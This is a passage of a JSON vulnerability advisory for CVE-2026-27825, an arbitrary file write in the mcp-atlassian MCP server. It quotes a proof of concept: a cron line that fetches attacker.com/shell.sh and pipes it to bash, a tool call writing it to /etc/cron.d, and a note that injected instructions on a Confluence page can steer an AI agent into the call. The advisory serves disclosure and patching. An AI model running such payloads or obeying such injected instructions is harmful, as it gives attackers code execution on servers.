you have write access to.\n\nStep 1 — Prepare the payload. Create a file containing a valid cron entry and upload it as a Confluence attachment:\n\n * * * * * root curl http://attacker.com/shell.sh | bash\n\nStep 2 — Call the tool with a sensitive write target:\n\n {\n \"jsonrpc\": \"2.0\",\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"confluence_download_attachment\",\n \"arguments\": {\n \"page_id\": \"\",\n \"attachment_id\": \"\",\n \"download_path\": \"/etc/cron.d/mcp-backdoor\"\n }\n },\n \"id\": 1\n }\n\nThe attachment content is written verbatim to /etc/cron.d/mcp-backdoor. The system scheduler executes it within one minute with no further attacker action required.\n\nAlternative potential write targets demonstrating broader impact:\n - /home//.ssh/authorized_keys - persistent SSH backdoor\n - /lib/python3.x/site-packages/.py - code execution on next import\n - ~/.bashrc - code execution on next user login\n\n### Impact\nAn attacker who can invoke MCP tools and upload (or access) a Confluence attachment with controlled content can achieve arbitrary code execution on the server host. The MCP HTTP transport endpoints carry no authentication by default, meaning any host that can reach the server's HTTP port can call tools using the server's own embedded Confluence credentials (global fallback). The default HOST=0.0.0.0 binding makes this reachable from the local network without any configuration change.\n\nIn enterprise deployments where Confluence write access is broadly granted, the effective attacker prerequisite reduces to network access to the MCP HTTP port. This is also reachable without direct network access: a malicious Confluence page can embed LLM instructions directing an AI agent to call confluence_download_attachment with attacker-specified parameters, achieving code execution through the agent as an unwitting intermediary.\n\nExample potential RCE paths:\n 1. Cron job injection - write a cron entry to /etc/cron.d/; executes within one scheduler cycle, no restart required\n 2. Python package hijack - overwrite any .py module in the application's virtual environment; executes on next import or server restart.\n 3. SSH authorized_keys - write an attacker-controlled public key; grants persistent interactive shell access.\n 4. Shell profile injection - write to ~/.bashrc or ~/.profile; executes on next user login.", "title": "github - https://api.github.com/advisories/GHSA-xjgw-4wvw-rgm4" }, { "category": "description", "text": "Affected versions of the mcp-atlassian package are vulnerable to Arbitrary File Overwrite due to unconstrained file path handling in attachment download parameters. The confluence_download_attachment tool accepts a user-controlled download_path value and writes attachment data to that location without enforcing a restricted base directory, while the related download_content_attachments functionality has the same weakness through its target_dir parameter.", "title": "pyupio - https://raw.githubusercontent.com/pyupio/safety-db/refs/heads/master/data/insecure_full.json" }, { "category": "description", "text": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to version 0.17.0, the `confluence_download_attachment` MCP tool accepts a `download_path` parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to `/etc/cron.d/` achieves code execution within one scheduler cycle with no server restart required). Version 0.17.0 fixes the issue.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-27825" }, { "category": "other", "text": "0.00044", "title": "EPSS" }, { "category": "other", "text": "3.9", "title": "NCSC Score" }, { "category": "other", "text": "Is related to a product by vendor Unknown", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-5777014", "CSAFPID-5780881", "CSAFPID-5780882", "CSAFPID-5780883", "CSAFPID-5780884", "CSAFPID-5780885", "CSAFPID-5780886", "CSAFPID-5780887", "CSAFPID-5780888", "CSAFPID-5780889", "CSAFPID-5780890", "CSAFPID-5780891", "CSAFPID-5780892", "CSAFPID-5780893", "CSAFPID-5780894", "CSAFPID-5780895", "CSAFPID-5780896", "CSAFPID-5780897", "CSAFPID-5780898", "CSAFPID-5780899", "CSAFPID-5780900", "CSAFPID-5780901", "CSAFPID-5780902", "CSAFPID-5780903", "CSAFPID-5780904", "CSAFPID-5780905", "CSAFPID-5780906", "CSAFPID-5780907", "CSAFPID-5780908", "CSAFPID-5780909", "CSAFPID-5780910", "CSAFPID-5780911", "CSAFPID-5780912", "CSAFPID-5780913", "CSAFPID-5780914", "CSAFPID-5780915", "CSAFPID-5780916", "CSAFPID-5780917", "CSAFPID-5780918", "CSAFPID-5780919", "CSAFPID-5780920", "CSAFPID-5780921", "CSAFPID-5780922", "CSAFPID-5780923", "CSAFPID-5780924", "CSAFPID-5780925", "CSAFPID-5780926", "CSAFPID-5780927", "CSAFPID-5780928", "CSAFPID-5780929", "CSAFPID-5780930", "CSAFPID-5780931", "CSAFPID-5780932", "CSAFPID-5780933", "CSAFPID-5780934", "CSAFPID-5780935", "CSAFPID-5780936", "CSAFPID-5780937", "CSAFPID-5780938", "CSAFPID-5780939", "CSAFPID-5780940", "CSAFPID-5780941", "CSAFPID-5780942", "CSAFPID-5780943", "CSAFPID-5780944", "CSAFPID-5780945", "CSAFPID-5780946", "CSAFPID-5780947", "CSAFPID-5780948", "CSAFPID-5780949", "CSAFPID-5780950", "CSAFPID-5780951", "CSAFPID-5780952", "CSAFPID-5970924", "CSAFPID-5984832" ] }, "references": [ { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-27825" }, { "category": "external", "summary": "Source raw - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/27xxx/CVE-2026-27825.json" }, { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-xjgw-4wvw-rgm4" }, { "category": "external", "summary": "Source raw - github", "url": "https://api.github.com/advisories/GHSA-xjgw-4wvw-rgm4" }, { "category": "external", "summary": "Source - nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27825" }, { "category": "external", "summary": "Source raw - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-27825" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-xjgw-4wvw-rgm4.json?alt=media" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-27825" }, { "category": "external", "summary": "Source raw - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-xjgw-4wvw-rgm4" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - pyupio", "url": "https://raw.githubusercontent.com/pyupio/safety-db/refs/heads/master/data/insecure_full.json" }, { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-27825" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-xjgw-4wvw-rgm4" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/sooperset/mcp-atlassian/commit/52b9b0997681e87244b20d58034deae89c91631e" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-xjgw-4wvw-rgm4" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL" }, "products": [ "CSAFPID-5777014", "CSAFPID-5780881", "CSAFPID-5780882", "CSAFPID-5780883", "CSAFPID-5780884", "CSAFPID-5780885", "CSAFPID-5780886", "CSAFPID-5780887", "CSAFPID-5780888", "CSAFPID-5780889", "CSAFPID-5780890", "CSAFPID-5780891", "CSAFPID-5780892", "CSAFPID-5780893", "CSAFPID-5780894", "CSAFPID-5780895", "CSAFPID-5780896", "CSAFPID-5780897", "CSAFPID-5780898", "CSAFPID-5780899", "CSAFPID-5780900", "CSAFPID-5780901", "CSAFPID-5780902", "CSAFPID-5780903", "CSAFPID-5780904", "CSAFPID-5780905", "CSAFPID-5780906", "CSAFPID-5780907", "CSAFPID-5780908", "CSAFPID-5780909", "CSAFPID-5780910", "CSAFPID-5780911", "CSAFPID-5780912", "CSAFPID-5780913", "CSAFPID-5780914", "CSAFPID-5780915", "CSAFPID-5780916", "CSAFPID-5780917", "CSAFPID-5780918", "CSAFPID-5780919", "CSAFPID-5780920", "CSAFPID-5780921", "CSAFPID-5780922", "CSAFPID-5780923", "CSAFPID-5780924", "CSAFPID-5780925", "CSAFPID-5780926", "CSAFPID-5780927", "CSAFPID-5780928", "CSAFPID-5780929", "CSAFPID-5780930", "CSAFPID-5780931", "CSAFPID-5780932", "CSAFPID-5780933", "CSAFPID-5780934", "CSAFPID-5780935", "CSAFPID-5780936", "CSAFPID-5780937", "CSAFPID-5780938", "CSAFPID-5780939", "CSAFPID-5780940", "CSAFPID-5780941", "CSAFPID-5780942", "CSAFPID-5780943", "CSAFPID-5780944", "CSAFPID-5780945", "CSAFPID-5780946", "CSAFPID-5780947", "CSAFPID-5780948", "CSAFPID-5780949", "CSAFPID-5780950", "CSAFPID-5780951", "CSAFPID-5780952", "CSAFPID-5970924", "CSAFPID-5984832" ] } ], "title": "CVE-2026-27825" } ] }